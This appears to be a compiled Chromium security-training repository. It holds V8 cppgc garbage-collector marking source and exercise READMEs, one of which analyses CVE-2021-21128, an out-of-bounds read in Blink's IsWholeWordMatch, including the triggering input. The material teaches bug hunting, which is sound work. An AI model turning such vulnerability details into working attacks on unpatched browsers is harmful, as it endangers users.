MarkerBase::MarkerBase(Key, HeapBase& heap, cppgc::Platform* platform, MarkingConfig config) : heap_(heap), config_(config), platform_(platform), foreground_task_runner_(platform_->GetForegroundTaskRunner()), mutator_marking_state_(heap, marking_worklists_, heap.compactor().compaction_worklists()) {} MarkerBase::~MarkerBase() { // The fixed point iteration may have found not-fully-constructed objects. // Such objects should have already been found through the stack scan though // and should thus already be marked. if (!marking_worklists_.not_fully_constructed_worklist()->IsEmpty()) { #if DEBUG DCHECK_NE(MarkingConfig::StackState::kNoHeapPointers, config_.stack_state); std::unordered_set objects = mutator_marking_state_.not_fully_constructed_worklist().Extract(); for (HeapObjectHeader* object : objects) DCHECK(object->IsMarked()); #else marking_worklists_.not_fully_constructed_worklist()->Clear(); #endif } // |discovered_ephemeron_pairs_worklist_| may still hold ephemeron pairs with // dead keys. if (!marking_worklists_.discovered_ephemeron_pairs_worklist()->IsEmpty()) { #if DEBUG MarkingWorklists::EphemeronPairItem item; while (mutator_marking_state_.discovered_ephemeron_pairs_worklist().Pop( &item)) { DCHECK(!HeapObjectHeader::FromObject(item.key).IsMarked()); } #else marking_worklists_.discovered_ephemeron_pairs_worklist()->Clear(); #endif } marking_worklists_.weak_containers_worklist()->Clear(); } void MarkerBase::StartMarking() { DCHECK(!is_marking_); StatsCollector::EnabledScope stats_scope( heap().stats_collector(), config_.marking_type == MarkingConfig::MarkingType::kAtomic ? StatsCollector::kAtomicMark : StatsCollector::kIncrementalMark); heap().stats_collector()->NotifyMarkingStarted(config_.collection_type, config_.is_forced_gc); is_marking_ = true; if (EnterIncrementalMarkingIfNeeded(config_, heap())) { StatsCollector::EnabledScope inner_stats_scope( heap().stats_collector(), StatsCollector::kMarkIncrementalStart); // Performing incremental or concurrent marking. schedule_.NotifyIncrementalMarkingStart(); // Scanning the stack is expensive so we only do it at the atomic pause. VisitRoots(MarkingConfig::StackState::kNoHeapPointers); ScheduleIncrementalMarkingTask(); if (config_.marking_type == MarkingConfig::MarkingType::kIncrementalAndConcurrent) { mutator_marking_state_.Publish(); concurrent_marker_->Start(); } } } void MarkerBase::EnterAtomicPause(MarkingConfig::StackState stack_state) { StatsCollector::EnabledScope top_stats_scope(heap().stats_collector(), StatsCollector::kAtomicMark); StatsCollector::EnabledScope stats_scope(heap().stats_collector(), StatsCollector::kMarkAtomicPrologue); if (ExitIncrementalMarkingIfNeeded(config_, heap())) { // Cancel remaining concurrent/incremental tasks. concurrent_marker_->Cancel(); incremental_marking_handle_.Cancel(); } config_.stack_state = stack_state; config_.marking_type = MarkingConfig::MarkingType::kAtomic; { // VisitRoots also resets the LABs. VisitRoots(config_.stack_state); if (config_.stack_state == MarkingConfig::StackState::kNoHeapPointers) { mutator_marking_state_.FlushNotFullyConstructedObjects(); DCHECK(marking_worklists_.not_fully_constructed_worklist()->IsEmpty()); } else { MarkNotFullyConstructedObjects(); } } } void MarkerBase::LeaveAtomicPause() { { StatsCollector::EnabledScope top_stats_scope(heap().stats_collector(), StatsCollector::kAtomicMark); StatsCollector::EnabledScope stats_scope( heap().stats_collector(), StatsCollector::kMarkAtomicEpilogue); DCHECK(!incremental_marking_handle_); ResetRememberedSet(heap()); heap().stats_collector()->NotifyMarkingCompleted( // GetOverallMarkedBytes also includes concurrently marked bytes. schedule_.GetOverallMarkedBytes()); is_marking_ = false; } { // Weakness callbacks are forbidden from allocating objects. cppgc::subtle::DisallowGarbageCollectionScope disallow_gc_scope(heap_); ProcessWeakness(); } // TODO(chromium:1056170): It would be better if the call to Unlock was // covered by some cppgc scope. g_process_mutex.Pointer()->Unlock(); heap().SetStackStateOfPrevGC(config_.stack_state); } void MarkerBase::FinishMarking(MarkingConfig::StackState stack_state) { DCHECK(is_marking_); EnterAtomicPause(stack_state); { StatsCollector::EnabledScope stats_scope(heap().stats_collector(), StatsCollector::kAtomicMark); CHECK(AdvanceMarkingWithLimits(v8::base::TimeDelta::Max(), SIZE_MAX)); mutator_marking_state_.Publish(); } LeaveAtomicPause(); } void MarkerBase::ProcessWeakness() { DCHECK_EQ(MarkingConfig::MarkingType::kAtomic, config_.marking_type); StatsCollector::EnabledScope stats_scope(heap().stats_collector(), StatsCollector::kAtomicWeak); heap().GetWeakPersistentRegion().Trace(&visitor()); // Processing cross-thread handles requires taking the process lock. g_process_mutex.Get().AssertHeld(); CHECK(visited_cross_thread_persistents_in_atomic_pause_); heap().GetWeakCrossThreadPersistentRegion().Trace(&visitor()); // Call weak callbacks on objects that may now be pointing to dead objects. MarkingWorklists::WeakCallbackItem item; LivenessBroker broker = LivenessBrokerFactory::Create(); MarkingWorklists::WeakCallbackWorklist::Local& local = mutator_marking_state_.weak_callback_worklist(); while (local.Pop(&item)) { item.callback(broker, item.parameter); } // Weak callbacks should not add any new objects for marking. DCHECK(marking_worklists_.marking_worklist()->IsEmpty()); } void MarkerBase::VisitRoots(MarkingConfig::StackState stack_state) { StatsCollector::EnabledScope stats_scope(heap().stats_collector(), StatsCollector::kMarkVisitRoots); // Reset LABs before scanning roots. LABs are cleared to allow // ObjectStartBitmap handling without considering LABs. heap().object_allocator().ResetLinearAllocationBuffers(); { { StatsCollector::DisabledScope inner_stats_scope( heap().stats_collector(), StatsCollector::kMarkVisitPersistents); heap().GetStrongPersistentRegion().Trace(&visitor()); } } if (stack_state != MarkingConfig::StackState::kNoHeapPointers) { StatsCollector::DisabledScope stack_stats_scope( heap().stats_collector(), StatsCollector::kMarkVisitStack); heap().stack()->IteratePointers(&stack_visitor()); } if (config_.collection_type == MarkingConfig::CollectionType::kMinor) { VisitRememberedSlots(heap(), mutator_marking_state_); } } bool MarkerBase::VisitCrossThreadPersistentsIfNeeded() { if (config_.marking_type != MarkingConfig::MarkingType::kAtomic || visited_cross_thread_persistents_in_atomic_pause_) return false; StatsCollector::DisabledScope inner_stats_scope( heap().stats_collector(), StatsCollector::kMarkVisitCrossThreadPersistents); // Lock guards against changes to {Weak}CrossThreadPersistent handles, that // may conflict with marking. E.g., a WeakCrossThreadPersistent may be // converted into a CrossThreadPersistent which requires that the handle // is either cleared or the object is retained. g_process_mutex.Pointer()->Lock(); heap().GetStrongCrossThreadPersistentRegion().Trace(&visitor()); visited_cross_thread_persistents_in_atomic_pause_ = true; return (heap().GetStrongCrossThreadPersistentRegion().NodesInUse() > 0); } void MarkerBase::ScheduleIncrementalMarkingTask() { DCHECK(platform_); if (!foreground_task_runner_ || incremental_marking_handle_) return; incremental_marking_handle_ = IncrementalMarkingTask::Post(foreground_task_runner_.get(), this); } bool MarkerBase::IncrementalMarkingStepForTesting( MarkingConfig::StackState stack_state) { return IncrementalMarkingStep(stack_state); } bool MarkerBase::IncrementalMarkingStep(MarkingConfig::StackState stack_state) { if (stack_state == MarkingConfig::StackState::kNoHeapPointers) { mutator_marking_state_.FlushNotFullyConstructedObjects(); } config_.stack_state = stack_state; return AdvanceMarkingWithLimits(); } void MarkerBase::AdvanceMarkingOnAllocation() { StatsCollector::EnabledScope stats_scope(heap().stats_collector(), StatsCollector::kIncrementalMark); StatsCollector::EnabledScope nested_scope(heap().stats_collector(), StatsCollector::kMarkOnAllocation); if (AdvanceMarkingWithLimits()) { // Schedule another incremental task for finalizing without a stack. ScheduleIncrementalMarkingTask(); } } bool MarkerBase::AdvanceMarkingWithLimits(v8::base::TimeDelta max_duration, size_t marked_bytes_limit) { bool is_done = false; if (!main_marking_disabled_for_testing_) { if (marked_bytes_limit == 0) { marked_bytes_limit = mutator_marking_state_.marked_bytes() + GetNextIncrementalStepDuration(schedule_, heap_); } StatsCollector::EnabledScope deadline_scope( heap().stats_collector(), StatsCollector::kMarkTransitiveClosureWithDeadline, "deadline_ms", max_duration.InMillisecondsF()); const auto deadline = v8::base::TimeTicks::Now() + max_duration; is_done = ProcessWorklistsWithDeadline(marked_bytes_limit, deadline); if (is_done && VisitCrossThreadPersistentsIfNeeded()) { // Both limits are absolute and hence can be passed along without further // adjustment. is_done = ProcessWorklistsWithDeadline(marked_bytes_limit, deadline); } schedule_.UpdateMutatorThreadMarkedBytes( mutator_marking_state_.marked_bytes()); } mutator_marking_state_.Publish(); if (!is_done) { // If marking is atomic, |is_done| should always be true. DCHECK_NE(MarkingConfig::MarkingType::kAtomic, config_.marking_type); ScheduleIncrementalMarkingTask(); if (config_.marking_type == MarkingConfig::MarkingType::kIncrementalAndConcurrent) { concurrent_marker_->NotifyIncrementalMutatorStepCompleted(); } } return is_done; } bool MarkerBase::ProcessWorklistsWithDeadline( size_t marked_bytes_deadline, v8::base::TimeTicks time_deadline) { StatsCollector::EnabledScope stats_scope( heap().stats_collector(), StatsCollector::kMarkTransitiveClosure); do { if ((config_.marking_type == MarkingConfig::MarkingType::kAtomic) || schedule_.ShouldFlushEphemeronPairs()) { mutator_marking_state_.FlushDiscoveredEphemeronPairs(); } // Bailout objects may be complicated to trace and thus might take longer // than other objects. Therefore we reduce the interval between deadline // checks to guarantee the deadline is not exceeded. { StatsCollector::EnabledScope inner_scope( heap().stats_collector(), StatsCollector::kMarkProcessBailOutObjects); if (!DrainWorklistWithBytesAndTimeDeadline( mutator_marking_state_, marked_bytes_deadline, time_deadline, mutator_marking_state_.concurrent_marking_bailout_worklist(), [this]( const MarkingWorklists::ConcurrentMarkingBailoutItem& item) { mutator_marking_state_.AccountMarkedBytes(item.bailedout_size); item.callback(&visitor(), item.parameter); })) { return false; } } { StatsCollector::EnabledScope inner_scope( heap().stats_collector(), StatsCollector::kMarkProcessNotFullyconstructedWorklist); if (!DrainWorklistWithBytesAndTimeDeadline( mutator_marking_state_, marked_bytes_deadline, time_deadline, mutator_marking_state_ .previously_not_fully_constructed_worklist(), [this](HeapObjectHeader* header) { mutator_marking_state_.AccountMarkedBytes(*header); DynamicallyTraceMarkedObject(visitor(), *header); })) { return false; } } { StatsCollector::EnabledScope inner_scope( heap().stats_collector(), StatsCollector::kMarkProcessMarkingWorklist); if (!DrainWorklistWithBytesAndTimeDeadline( mutator_marking_state_, marked_bytes_deadline, time_deadline, mutator_marking_state_.marking_worklist(), [this](const MarkingWorklists::MarkingItem& item) { const HeapObjectHeader& header = HeapObjectHeader::FromObject(item.base_object_payload); DCHECK(!header.IsInConstruction()); DCHECK(header.IsMarked()); mutator_marking_state_.AccountMarkedBytes(header); item.callback(&visitor(), item.base_object_payload); })) { return false; } } { StatsCollector::EnabledScope inner_scope( heap().stats_collector(), StatsCollector::kMarkProcessWriteBarrierWorklist); if (!DrainWorklistWithBytesAndTimeDeadline( mutator_marking_state_, marked_bytes_deadline, time_deadline, mutator_marking_state_.write_barrier_worklist(), [this](HeapObjectHeader* header) { mutator_marking_state_.AccountMarkedBytes(*header); DynamicallyTraceMarkedObject(visitor(), *header); })) { return false; } if (!DrainWorklistWithBytesAndTimeDeadline( mutator_marking_state_, marked_bytes_deadline, time_deadline, mutator_marking_state_.retrace_marked_objects_worklist(), [this](HeapObjectHeader* header) { // Retracing does not increment marked bytes as the object has // already been processed before. DynamicallyTraceMarkedObject(visitor(), *header); })) { return false; } } { StatsCollector::EnabledScope inner_stats_scope( heap().stats_collector(), StatsCollector::kMarkProcessEphemerons); if (!DrainWorklistWithBytesAndTimeDeadline( mutator_marking_state_, marked_bytes_deadline, time_deadline, mutator_marking_state_.ephemeron_pairs_for_processing_worklist(), [this](const MarkingWorklists::EphemeronPairItem& item) { mutator_marking_state_.ProcessEphemeron( item.key, item.value, item.value_desc, visitor()); })) { return false; } } } while (!mutator_marking_state_.marking_worklist().IsLocalAndGlobalEmpty()); return true; } void MarkerBase::MarkNotFullyConstructedObjects() { StatsCollector::DisabledScope stats_scope( heap().stats_collector(), StatsCollector::kMarkVisitNotFullyConstructedObjects); std::unordered_set objects = mutator_marking_state_.not_fully_constructed_worklist().Extract(); for (HeapObjectHeader* object : objects) { DCHECK(object); // TraceConservativelyIfNeeded delegates to either in-construction or // fully constructed handling. Both handlers have their own marked bytes // accounting and markbit handling (bailout). conservative_visitor().TraceConservativelyIfNeeded(*object); } } void MarkerBase::ClearAllWorklistsForTesting() { marking_worklists_.ClearForTesting(); auto* compaction_worklists = heap_.compactor().compaction_worklists(); if (compaction_worklists) compaction_worklists->ClearForTesting(); } void MarkerBase::SetMainThreadMarkingDisabledForTesting(bool value) { main_marking_disabled_for_testing_ = value; } void MarkerBase::WaitForConcurrentMarkingForTesting() { concurrent_marker_->JoinForTesting(); } void MarkerBase::NotifyCompactionCancelled() { // Compaction cannot be cancelled while concurrent marking is active. DCHECK_EQ(MarkingConfig::MarkingType::kAtomic, config_.marking_type); DCHECK_IMPLIES(concurrent_marker_, !concurrent_marker_->IsActive()); mutator_marking_state_.NotifyCompactionCancelled(); } Marker::Marker(Key key, HeapBase& heap, cppgc::Platform* platform, MarkingConfig config) : MarkerBase(key, heap, platform, config), marking_visitor_(heap, mutator_marking_state_), conservative_marking_visitor_(heap, mutator_marking_state_, marking_visitor_) { concurrent_marker_ = std::make_unique( heap_, marking_worklists_, schedule_, platform_); } } // namespace internal } // namespace cppgc ================================================ FILE: LEVEL_1/exercise_7/marking-state.h ================================================ // Copyright 2020 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef V8_HEAP_CPPGC_MARKING_STATE_H_ #define V8_HEAP_CPPGC_MARKING_STATE_H_ #include #include "include/cppgc/trace-trait.h" #include "include/cppgc/visitor.h" #include "src/heap/cppgc/compaction-worklists.h" #include "src/heap/cppgc/globals.h" #include "src/heap/cppgc/heap-object-header.h" #include "src/heap/cppgc/heap-page.h" #include "src/heap/cppgc/liveness-broker.h" #include "src/heap/cppgc/marking-worklists.h" namespace cppgc { namespace internal { // C++ marking implementation. class MarkingStateBase { public: inline MarkingStateBase(HeapBase& heap, MarkingWorklists&, CompactionWorklists*); MarkingStateBase(const MarkingStateBase&) = delete; MarkingStateBase& operator=(const MarkingStateBase&) = delete; inline void MarkAndPush(const void*, TraceDescriptor); inline void MarkAndPush(HeapObjectHeader&); inline void PushMarked(HeapObjectHeader&, TraceDescriptor desc); inline void RegisterWeakReferenceIfNeeded(const void*, TraceDescriptor, WeakCallback, const void*); inline void RegisterWeakCallback(WeakCallback, const void*); void RegisterMovableReference(const void** slot) { if (!movable_slots_worklist_) return; movable_slots_worklist_->Push(slot); } // Weak containers are special in that they may require re-tracing if // reachable through stack, even if the container was already traced before. // ProcessWeakContainer records which weak containers were already marked so // that conservative stack scanning knows to retrace them. inline void ProcessWeakContainer(const void*, TraceDescriptor, WeakCallback, const void*); inline void ProcessEphemeron(const void*, const void*, TraceDescriptor, Visitor&); inline void AccountMarkedBytes(const HeapObjectHeader&); inline void AccountMarkedBytes(size_t); size_t marked_bytes() const { return marked_bytes_; } void Publish() { marking_worklist_.Publish(); previously_not_fully_constructed_worklist_.Publish(); weak_callback_worklist_.Publish(); write_barrier_worklist_.Publish(); concurrent_marking_bailout_worklist_.Publish(); discovered_ephemeron_pairs_worklist_.Publish(); ephemeron_pairs_for_processing_worklist_.Publish(); if (IsCompactionEnabled()) movable_slots_worklist_->Publish(); } MarkingWorklists::MarkingWorklist::Local& marking_worklist() { return marking_worklist_; } MarkingWorklists::NotFullyConstructedWorklist& not_fully_constructed_worklist() { return not_fully_constructed_worklist_; } MarkingWorklists::PreviouslyNotFullyConstructedWorklist::Local& previously_not_fully_constructed_worklist() { return previously_not_fully_constructed_worklist_; } MarkingWorklists::WeakCallbackWorklist::Local& weak_callback_worklist() { return weak_callback_worklist_; } MarkingWorklists::WriteBarrierWorklist::Local& write_barrier_worklist() { return write_barrier_worklist_; } MarkingWorklists::ConcurrentMarkingBailoutWorklist::Local& concurrent_marking_bailout_worklist() { return concurrent_marking_bailout_worklist_; } MarkingWorklists::EphemeronPairsWorklist::Local& discovered_ephemeron_pairs_worklist() { return discovered_ephemeron_pairs_worklist_; } MarkingWorklists::EphemeronPairsWorklist::Local& ephemeron_pairs_for_processing_worklist() { return ephemeron_pairs_for_processing_worklist_; } MarkingWorklists::WeakContainersWorklist& weak_containers_worklist() { return weak_containers_worklist_; } MarkingWorklists::RetraceMarkedObjectsWorklist::Local& retrace_marked_objects_worklist() { return retrace_marked_objects_worklist_; } CompactionWorklists::MovableReferencesWorklist::Local* movable_slots_worklist() { return movable_slots_worklist_.get(); } void NotifyCompactionCancelled() { DCHECK(IsCompactionEnabled()); movable_slots_worklist_->Clear(); movable_slots_worklist_.reset(); } protected: inline void MarkAndPush(HeapObjectHeader&, TraceDescriptor); inline bool MarkNoPush(HeapObjectHeader&); inline void RegisterWeakContainer(HeapObjectHeader&); inline bool IsCompactionEnabled() const { return movable_slots_worklist_.get(); } HeapBase& heap_; MarkingWorklists::MarkingWorklist::Local marking_worklist_; MarkingWorklists::NotFullyConstructedWorklist& not_fully_constructed_worklist_; MarkingWorklists::PreviouslyNotFullyConstructedWorklist::Local previously_not_fully_constructed_worklist_; MarkingWorklists::WeakCallbackWorklist::Local weak_callback_worklist_; MarkingWorklists::WriteBarrierWorklist::Local write_barrier_worklist_; MarkingWorklists::ConcurrentMarkingBailoutWorklist::Local concurrent_marking_bailout_worklist_; MarkingWorklists::EphemeronPairsWorklist::Local discovered_ephemeron_pairs_worklist_; MarkingWorklists::EphemeronPairsWorklist::Local ephemeron_pairs_for_processing_worklist_; MarkingWorklists::WeakContainersWorklist& weak_containers_worklist_; MarkingWorklists::RetraceMarkedObjectsWorklist::Local retrace_marked_objects_worklist_; // Existence of the worklist (|movable_slot_worklist_| != nullptr) denotes // that compaction is currently enabled and slots must be recorded. std::unique_ptr movable_slots_worklist_; size_t marked_bytes_ = 0; }; MarkingStateBase::MarkingStateBase(HeapBase& heap, MarkingWorklists& marking_worklists, CompactionWorklists* compaction_worklists) : heap_(heap), marking_worklist_(marking_worklists.marking_worklist()), not_fully_constructed_worklist_( *marking_worklists.not_fully_constructed_worklist()), previously_not_fully_constructed_worklist_( marking_worklists.previously_not_fully_constructed_worklist()), weak_callback_worklist_(marking_worklists.weak_callback_worklist()), write_barrier_worklist_(marking_worklists.write_barrier_worklist()), concurrent_marking_bailout_worklist_( marking_worklists.concurrent_marking_bailout_worklist()), discovered_ephemeron_pairs_worklist_( marking_worklists.discovered_ephemeron_pairs_worklist()), ephemeron_pairs_for_processing_worklist_( marking_worklists.ephemeron_pairs_for_processing_worklist()), weak_containers_worklist_(*marking_worklists.weak_containers_worklist()), retrace_marked_objects_worklist_( marking_worklists.retrace_marked_objects_worklist()) { if (compaction_worklists) { movable_slots_worklist_ = std::make_unique( compaction_worklists->movable_slots_worklist()); } } void MarkingStateBase::MarkAndPush(const void* object, TraceDescriptor desc) { DCHECK_NOT_NULL(object); MarkAndPush( HeapObjectHeader::FromObject(const_cast(desc.base_object_payload)), desc); } void MarkingStateBase::MarkAndPush(HeapObjectHeader& header, TraceDescriptor desc) { DCHECK_NOT_NULL(desc.callback); if (header.IsInConstruction()) { not_fully_constructed_worklist_.Push(&header); } else if (MarkNoPush(header)) { PushMarked(header, desc); } } bool MarkingStateBase::MarkNoPush(HeapObjectHeader& header) { // A GC should only mark the objects that belong in its heap. DCHECK_EQ(&heap_, &BasePage::FromPayload(&header)->heap()); // Never mark free space objects. This would e.g. hint to marking a promptly // freed backing store. DCHECK(!header.IsFree()); return header.TryMarkAtomic(); } void MarkingStateBase::MarkAndPush(HeapObjectHeader& header) { MarkAndPush( header, {header.ObjectStart(), GlobalGCInfoTable::GCInfoFromIndex(header.GetGCInfoIndex()).trace}); } void MarkingStateBase::PushMarked(HeapObjectHeader& header, TraceDescriptor desc) { DCHECK(header.IsMarked()); DCHECK(!header.IsInConstruction()); DCHECK_NOT_NULL(desc.callback); marking_worklist_.Push(desc); } void MarkingStateBase::RegisterWeakReferenceIfNeeded(const void* object, TraceDescriptor desc, WeakCallback weak_callback, const void* parameter) { // Filter out already marked values. The write barrier for WeakMember // ensures that any newly set value after this point is kept alive and does // not require the callback. const HeapObjectHeader& header = HeapObjectHeader::FromObject(desc.base_object_payload); if (!header.IsInConstruction() && header.IsMarked()) return; RegisterWeakCallback(weak_callback, parameter); } void MarkingStateBase::RegisterWeakCallback(WeakCallback callback, const void* object) { DCHECK_NOT_NULL(callback); weak_callback_worklist_.Push({callback, object}); } void MarkingStateBase::RegisterWeakContainer(HeapObjectHeader& header) { weak_containers_worklist_.Push(&header); } void MarkingStateBase::ProcessWeakContainer(const void* object, TraceDescriptor desc, WeakCallback callback, const void* data) { DCHECK_NOT_NULL(object); HeapObjectHeader& header = HeapObjectHeader::FromObject(const_cast(object)); if (header.IsInConstruction()) { not_fully_constructed_worklist_.Push(&header); return; } // Only mark the container initially. Its buckets will be processed after // marking. if (!MarkNoPush(header)) return; RegisterWeakContainer(header); // Register final weak processing of the backing store. RegisterWeakCallback(callback, data); // Weak containers might not require tracing. In such cases the callback in // the TraceDescriptor will be nullptr. For ephemerons the callback will be // non-nullptr so that the container is traced and the ephemeron pairs are // processed. if (desc.callback) { PushMarked(header, desc); } else { // For weak containers, there's no trace callback and no processing loop to // update the marked bytes, hence inline that here. AccountMarkedBytes(header); } } void MarkingStateBase::ProcessEphemeron(const void* key, const void* value, TraceDescriptor value_desc, Visitor& visitor) { // Filter out already marked keys. The write barrier for WeakMember // ensures that any newly set value after this point is kept alive and does // not require the callback. if (!HeapObjectHeader::FromObject(key) .IsInConstruction() && HeapObjectHeader::FromObject(key).IsMarked()) { if (value_desc.base_object_payload) { MarkAndPush(value_desc.base_object_payload, value_desc); } else { // If value_desc.base_object_payload is nullptr, the value is not GCed and // should be immediately traced. value_desc.callback(&visitor, value); } return; } discovered_ephemeron_pairs_worklist_.Push({key, value, value_desc}); } void MarkingStateBase::AccountMarkedBytes(const HeapObjectHeader& header) { AccountMarkedBytes( header.IsLargeObject() ? reinterpret_cast(BasePage::FromPayload(&header)) ->PayloadSize() : header.AllocatedSize()); } void MarkingStateBase::AccountMarkedBytes(size_t marked_bytes) { marked_bytes_ += marked_bytes; } class MutatorMarkingState : public MarkingStateBase { public: MutatorMarkingState(HeapBase& heap, MarkingWorklists& marking_worklists, CompactionWorklists* compaction_worklists) : MarkingStateBase(heap, marking_worklists, compaction_worklists) {} inline bool MarkNoPush(HeapObjectHeader& header) { return MutatorMarkingState::MarkingStateBase::MarkNoPush(header); } inline void ReTraceMarkedWeakContainer(cppgc::Visitor&, HeapObjectHeader&); inline void DynamicallyMarkAddress(ConstAddress); // Moves objects in not_fully_constructed_worklist_ to // previously_not_full_constructed_worklists_. void FlushNotFullyConstructedObjects(); // Moves ephemeron pairs in discovered_ephemeron_pairs_worklist_ to // ephemeron_pairs_for_processing_worklist_. void FlushDiscoveredEphemeronPairs(); inline void InvokeWeakRootsCallbackIfNeeded(const void*, TraceDescriptor, WeakCallback, const void*); inline bool IsMarkedWeakContainer(HeapObjectHeader&); private: // Weak containers are strongly retraced during conservative stack scanning. // Stack scanning happens once per GC at the start of the atomic pause. // Because the visitor is not retained between GCs, there is no need to clear // the set at the end of GC. class RecentlyRetracedWeakContainers { static constexpr size_t kMaxCacheSize = 8; public: inline bool Contains(const HeapObjectHeader*); inline void Insert(const HeapObjectHeader*); private: std::vector recently_retraced_cache_; size_t last_used_index_ = -1; } recently_retraced_weak_containers_; }; void MutatorMarkingState::ReTraceMarkedWeakContainer(cppgc::Visitor& visitor, HeapObjectHeader& header) { DCHECK(weak_containers_worklist_.Contains(&header)); recently_retraced_weak_containers_.Insert(&header); retrace_marked_objects_worklist().Push(&header); } void MutatorMarkingState::DynamicallyMarkAddress(ConstAddress address) { HeapObjectHeader& header = BasePage::FromPayload(address)->ObjectHeaderFromInnerAddress( const_cast
(address)); DCHECK(!header.IsInConstruction()); if (MarkNoPush(header)) { marking_worklist_.Push( {reinterpret_cast(header.ObjectStart()), GlobalGCInfoTable::GCInfoFromIndex(header.GetGCInfoIndex()).trace}); } } void MutatorMarkingState::InvokeWeakRootsCallbackIfNeeded( const void* object, TraceDescriptor desc, WeakCallback weak_callback, const void* parameter) { // Since weak roots are only traced at the end of marking, we can execute // the callback instead of registering it. #if DEBUG const HeapObjectHeader& header = HeapObjectHeader::FromObject(desc.base_object_payload); DCHECK_IMPLIES(header.IsInConstruction(), header.IsMarked()); #endif // DEBUG weak_callback(LivenessBrokerFactory::Create(), parameter); } bool MutatorMarkingState::IsMarkedWeakContainer(HeapObjectHeader& header) { const bool result = weak_containers_worklist_.Contains(&header) && !recently_retraced_weak_containers_.Contains(&header); DCHECK_IMPLIES(result, header.IsMarked()); DCHECK_IMPLIES(result, !header.IsInConstruction()); return result; } bool MutatorMarkingState::RecentlyRetracedWeakContainers::Contains( const HeapObjectHeader* header) { return std::find(recently_retraced_cache_.begin(), recently_retraced_cache_.end(), header) != recently_retraced_cache_.end(); } void MutatorMarkingState::RecentlyRetracedWeakContainers::Insert( const HeapObjectHeader* header) { last_used_index_ = (last_used_index_ + 1) % kMaxCacheSize; if (recently_retraced_cache_.size() <= last_used_index_) recently_retraced_cache_.push_back(header); else recently_retraced_cache_[last_used_index_] = header; } class ConcurrentMarkingState : public MarkingStateBase { public: ConcurrentMarkingState(HeapBase& heap, MarkingWorklists& marking_worklists, CompactionWorklists* compaction_worklists) : MarkingStateBase(heap, marking_worklists, compaction_worklists) {} ~ConcurrentMarkingState() { DCHECK_EQ(last_marked_bytes_, marked_bytes_); } size_t RecentlyMarkedBytes() { return marked_bytes_ - std::exchange(last_marked_bytes_, marked_bytes_); } inline void AccountDeferredMarkedBytes(size_t deferred_bytes) { // AccountDeferredMarkedBytes is called from Trace methods, which are always // called after AccountMarkedBytes, so there should be no underflow here. DCHECK_LE(deferred_bytes, marked_bytes_); marked_bytes_ -= deferred_bytes; } private: size_t last_marked_bytes_ = 0; }; template bool DrainWorklistWithPredicate(Predicate should_yield, WorklistLocal& worklist_local, Callback callback) { if (worklist_local.IsLocalAndGlobalEmpty()) return true; // For concurrent markers, should_yield also reports marked bytes. if (should_yield()) return false; size_t processed_callback_count = deadline_check_interval; typename WorklistLocal::ItemType item; while (worklist_local.Pop(&item)) { callback(item); if (--processed_callback_count == 0) { if (should_yield()) { return false; } processed_callback_count = deadline_check_interval; } } return true; } template void DynamicallyTraceMarkedObject(Visitor& visitor, const HeapObjectHeader& header) { DCHECK(!header.IsInConstruction()); DCHECK(header.IsMarked()); header.Trace(&visitor); } } // namespace internal } // namespace cppgc #endif // V8_HEAP_CPPGC_MARKING_STATE_H_ ================================================ FILE: LEVEL_2/README.md ================================================ # LEVEL 2 This time, you cann't rely on the `Details` to search the bug. The only info you get is the related files of the bug exist. For me, I will find the patch file, and write down its path. Then I will try to find the bug and check whether these files exist this bug to provide the right file. Find the bug yourself, and if you feel difficult can see tips or the answer. I believe you can do better than me. ================================================ FILE: LEVEL_2/exercise_1/README.md ================================================ # Exercise 1 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. ## CVE-2021-21128 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 2, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1138877
-------- ### Set environment after you fetch chromium ```sh git reset --hard 04fe9cc9bf0b67233b9f7f80b9a914499a431fa4 ``` ### Related code [third_party/blink/renderer/core/editing/iterators/text_searcher_icu.cc](https://source.chromium.org/chromium/chromium/src/+/04fe9cc9bf0b67233b9f7f80b9a914499a431fa4:third_party/blink/renderer/core/editing/iterators/text_searcher_icu.cc) ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer `IsWholeWordMatch` This func looks like buggy. ```c++ static bool IsWholeWordMatch(const UChar* text, int text_length, MatchResultICU& result) { DCHECK_LE((int)(result.start + result.length), text_length); UChar32 first_character; U16_GET(text, 0, result.start, result.length, first_character); [1] // Chinese and Japanese lack word boundary marks, and there is no clear // agreement on what constitutes a word, so treat the position before any CJK // character as a word start. if (Character::IsCJKIdeographOrSymbol(first_character)) return true; wtf_size_t word_break_search_start = result.start + result.length; while (word_break_search_start > result.start) { word_break_search_start = FindNextWordBackward(text, text_length, word_break_search_start); } if (word_break_search_start != result.start) return false; return static_cast(result.start + result.length) == FindWordEndBoundary(text, text_length, word_break_search_start); } ========================================================== #define CHECK_LE(val1, val2) CHECK_OP(<=, val1, val2) ``` [1] call `U16_GET` after `DCHECK_LE`. This check means `result.start + result.length` must lessthan `text_length`, we can see about `U16_GET` ```c++ /** * Get a code point from a string at a random-access offset, * without changing the offset. * "Safe" macro, handles unpaired surrogates and checks for string boundaries. * * The offset may point to either the lead or trail surrogate unit * for a supplementary code point, in which case the macro will read * the adjacent matching surrogate as well. * * The length can be negative for a NUL-terminated string. * * If the offset points to a single, unpaired surrogate, then * c is set to that unpaired surrogate. * Iteration through a string is more efficient with U16_NEXT_UNSAFE or U16_NEXT. * * @param s const UChar * string * @param start starting string offset (usually 0) * @param i string offset, must be start<=i(start) && U16_IS_LEAD(__c2=(s)[(i)-1])) { \ (c)=U16_GET_SUPPLEMENTARY(__c2, (c)); \ } \ } \ } \ } UPRV_BLOCK_MACRO_END ``` the third parameter is the length of the target string which be searched, just like find xy in xyd, and the length of this time is two. But [2] makes me puzzle, it seems like the `length` parameter is the end index of the `xyd`, but in truth it is the length of `xy`. And `@param length string length` proves my opinion. If we assignment i == length like i = 2, length = 2 and `__c2=(s)[(i)+1]` can oob read. We can check our answer by Detail. > This patch chagnes |IsWholeWordMatch()| to use |U16_GET()| with valid > parameters to avoid reading out of bounds data. > > In case of search "\uDB00" (broken surrogate pair) in "\u0022\uDB00", we > call |U16_GET(text, start, index, length, u32)| with start=1, index=1, > length=1, where text = "\u0022\DB800", then |U16_GET()| reads text[2] > for surrogate tail. > > After this patch, we call |U16_GET()| with length=2==end of match, to > make |U16_GET()| 